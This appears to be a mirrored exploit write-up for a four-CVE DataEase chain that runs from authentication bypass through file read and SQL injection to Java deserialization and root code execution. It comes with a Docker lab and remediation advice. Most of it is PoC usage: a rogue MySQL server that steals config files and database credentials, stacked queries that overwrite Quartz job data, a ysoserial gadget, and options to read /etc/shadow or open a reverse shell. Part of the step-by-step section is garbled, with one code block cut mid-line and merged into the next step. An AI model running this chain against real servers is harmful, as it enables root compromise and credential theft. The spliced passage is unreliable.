Share
## https://sploitus.com/exploit?id=0B8D0A42-7C20-54F3-A508-F4610A876158
# DataEase โ€” Unauthenticated RCE via a 4-vulnerability chain (CVE-2026-40901 & friends)

> Auth bypass โ†’ JDBC blocklist bypass (arbitrary file read) โ†’ SQL injection โ†’
> **Java deserialization in Quartz โ†’ remote code execution as `root`.**
>
> Self-contained local lab (Docker) + working PoC. **Fixed in DataEase v2.10.21.**

[DataEase](https://github.com/dataease/dataease) is a popular open-source BI /
data-visualization platform (Java / Spring Boot). Versions **โ‰ค v2.10.20** are
vulnerable to a chain of four issues that together turn a network-reachable
DataEase into remote code execution:

| # | CVE | Class | What it gives us |
|---|-----|-------|------------------|
| 1 | **CVE-2026-23958** | Auth bypass (CWE-287/CWE-347) | Act as `admin` โ€” no valid signature needed |
| 2 | **CVE-2026-40899** | JDBC blocklist bypass (CWE-20) | Arbitrary file read โ†’ steal backend DB creds |
| 3 | **CVE-2026-40900** | SQL injection / stacked queries (CWE-89) | Write into DataEase's own database |
| 4 | **CVE-2026-40901** | **Java deserialization** (CWE-502) | **RCE as root** via the Quartz job store |

---

## TL;DR

```bash
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)

# 2. fire the chain
python3 exploit/de_rce_chain.py

# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
```

---

## Lab setup

Everything runs locally in Docker. No external services, no internet target.

```
docker-compose.yml         vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml   repoints the DB at the local mysql-de
mysql/                     my.cnf + init.sql (creates the empty `dataease` DB)
exploit/                   the PoC
```

Bring it up:

```bash
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
```

* Web UI / API: `http://localhost:8100` (API prefix `/de2api`)
* Default creds shipped by DataEase: `admin` / `DataEase@123456`
* The DataEase JVM runs as **root** inside its container โ€” so our shell is root.

Requirements on the host: Docker, Python 3.8+ with `cryptography`
(`pip install -r exploit/requirements.txt`), and the Docker CLI (used to run
`ysoserial` in a throwaway `eclipse-temurin:8-jre` container to build the gadget).

---

## The chain, step by step

### 1. CVE-2026-23958 โ€” authentication bypass

DataEase authenticates requests in a servlet filter, `TokenFilter`
(`sdk/common/.../auth/filter/TokenFilter.java`). It reads the token and calls
`TokenUtils.validate()`, which ends up in:

```java
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
    DecodedJWT jwt = JWT.decode(token);        //  illegalParameters = Arrays.asList(
    "maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
    "detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
    "allowLoadLocalInfileInPath");
```

Because `@Data` auto-generates `setIllegalParameters(...)`, Jackson will happily
populate it from attacker-controlled JSON. Sending `"illegalParameters": []` in
the (Base64-encoded) `configuration` blob **empties the blocklist before it is
checked**. We can then point the datasource at a **rogue MySQL server** with
`allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/`
and read arbitrary files off the DataEase host via the MySQL `LOCAL INFILE`
mechanism.

```bash
# terminal A โ€” rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
        --file /opt/apps/config/application-standalone.yml

# terminal B โ€” make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
```

Result โ€” DataEase hands us its own backend DB credentials:

```
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
  spring:
    datasource:
      url: jdbc:mysql://mysql-de:3306/dataease?...
      username: root
      password: Password123@mysql
```

Those credentials are what an attacker uses to point step 3 at DataEase's own
database. The fix (commit `16a950f96`) adds `@JsonIgnore` to every
`illegalParameters` field so it can no longer be set from JSON.

### 3. CVE-2026-40900 โ€” SQL injection (stacked queries) in `previewSql`

`POST /de2api/datasetData/previewSql` takes a Base64-encoded SQL string and,
with **no single-statement validation**, wraps it as a subquery:

```
SELECT * FROM (  ) AS `tmp` LIMIT 100 OFFSET 0
```

Comments are stripped, but we can balance the parentheses and use `;` to run
extra statements. Because we control the datasource, we enable
`allowMultiQueries=true` (not on the blocklist in v2.10.20), so **stacked
queries execute**:

```sql
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x WHERE ... ;
SELECT * FROM (select 1
```

which the server assembles into three real statements. Pointing this datasource
at DataEase's *own* database (creds from step 2) lets us write into its Quartz
tables. Fixes: `15611593b` adds `allowMultiQueries` to the blocklist and
`e89059d88` hardens the save/engine flow.

### 4. CVE-2026-40901 โ€” Quartz deserialization โ†’ RCE

DataEase schedules a recurring **"datasource status check"** Quartz job:

* scheduler `deSyncJob`, job **`Datasource` / `check_status`**, class
  `io.dataease.job.schedule.CheckDsStatusJob`
* cron `0 0/6 * * * ? *` (default: every **6 minutes**)

Quartz uses a **JDBC job store with `useProperties=false`**, so each job's
`JobDataMap` is stored in the `QRTZ_JOB_DETAILS.JOB_DATA` column as a
**raw Java-serialized object** (you can see it: the blob starts with the
serialization magic `AC ED 00 05 โ€ฆ org.quartz.JobDataMap`). When the scheduler
scans for triggers it does, in `StdJDBCDelegate.selectJobDetail`:

```java
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA");   // new ObjectInputStream(...).readObject()
```

DataEase bundles **`commons-collections-3.2.1.jar`** (and `velocity-1.7.jar`) โ€”
classic deserialization gadget sources. Using step 3 we overwrite `JOB_DATA`
with a **`ysoserial CommonsCollections6`** payload (and, in the same stacked
query, pull the trigger's `NEXT_FIRE_TIME` to *now* so we don't wait for the
6-minute cron). On the next scheduler scan, `readObject()` fires the gadget chain
(`LazyMap` โ†’ `InvokerTransformer` โ†’ `Runtime.exec`) and our command runs โ€” as
`root`, inside the container. The fix set (`e05bda764`, โ€ฆ) removes the vulnerable
Velocity dependency and the reachability of the sink.

The PoC generates the gadget for you (busybox-friendly command wrapping โ€” the
target shell is Alpine `ash` and `Runtime.exec` gets no shell, so we use
`sh -c echo${IFS}|base64${IFS}-d|sh`).

---

## Running the PoC

```bash
pip install -r exploit/requirements.txt

# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py

# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'

# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444

# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901
```

Reset the poisoned Quartz job between runs (optional):

```bash
exploit/reset_quartz.sh
```

### Files

| Path | Purpose |
|------|---------|
| `exploit/de_common.py`   | HTTP client: /dekey RSA recovery, login, JWT forgery, datasource + previewSql |
| `exploit/de_rce_chain.py`| the end-to-end auth โ†’ SQLi โ†’ Quartz deserialization RCE |
| `exploit/rogue_mysql.py` | minimal rogue MySQL server (LOCAL INFILE file read) for CVE-2026-40899 |
| `exploit/file_read.py`   | drives CVE-2026-40899 against the rogue server |
| `exploit/reset_quartz.sh`| restore a clean Quartz job after a run |

---

## Why it's "meaty"

* **Java deserialization** is the timeless bug class โ€” here reached through an
  unusual sink (a Quartz JDBC job-store BLOB) rather than an HTTP body.
* It's a genuine **four-bug chain**: each link is individually modest, but
  composed they go from *unauthenticated network access* to *root RCE*.
* Everything is **open-source and self-hostable**, so the whole thing is
  reproducible on a laptop with Docker โ€” exactly what you want for a writeup.

## Remediation

* **Upgrade to DataEase โ‰ฅ v2.10.21.**
* Rotate the default `admin` password (`DataEase@123456`) immediately.
* Don't expose DataEase directly to untrusted networks.
* Defense-in-depth for the sink: run Quartz with `useProperties=true`, apply a
  JVM deserialization filter (`-Djdk.serialFilter=โ€ฆ`), and drop
  `commons-collections:3.2.1` / `velocity:1.7` from the classpath.

## Disclaimer

For education and **authorized** testing only. The lab targets a container you
run yourself. Do not point any of this at systems you don't own or have explicit
written permission to test.

## References

* OX Security โ€” *From Auth Bypass to RCE: A 4-Vulnerability Exploit Chain in DataEase*
* NVD / vendor advisory โ€” CVE-2026-40901, CVE-2026-40900, CVE-2026-40899, CVE-2026-23958
* Fix commits: `00c169caa`, `16a950f96`, `15611593b`, `e89059d88`, `e05bda764`
  (DataEase `v2.10.20..v2.10.21`)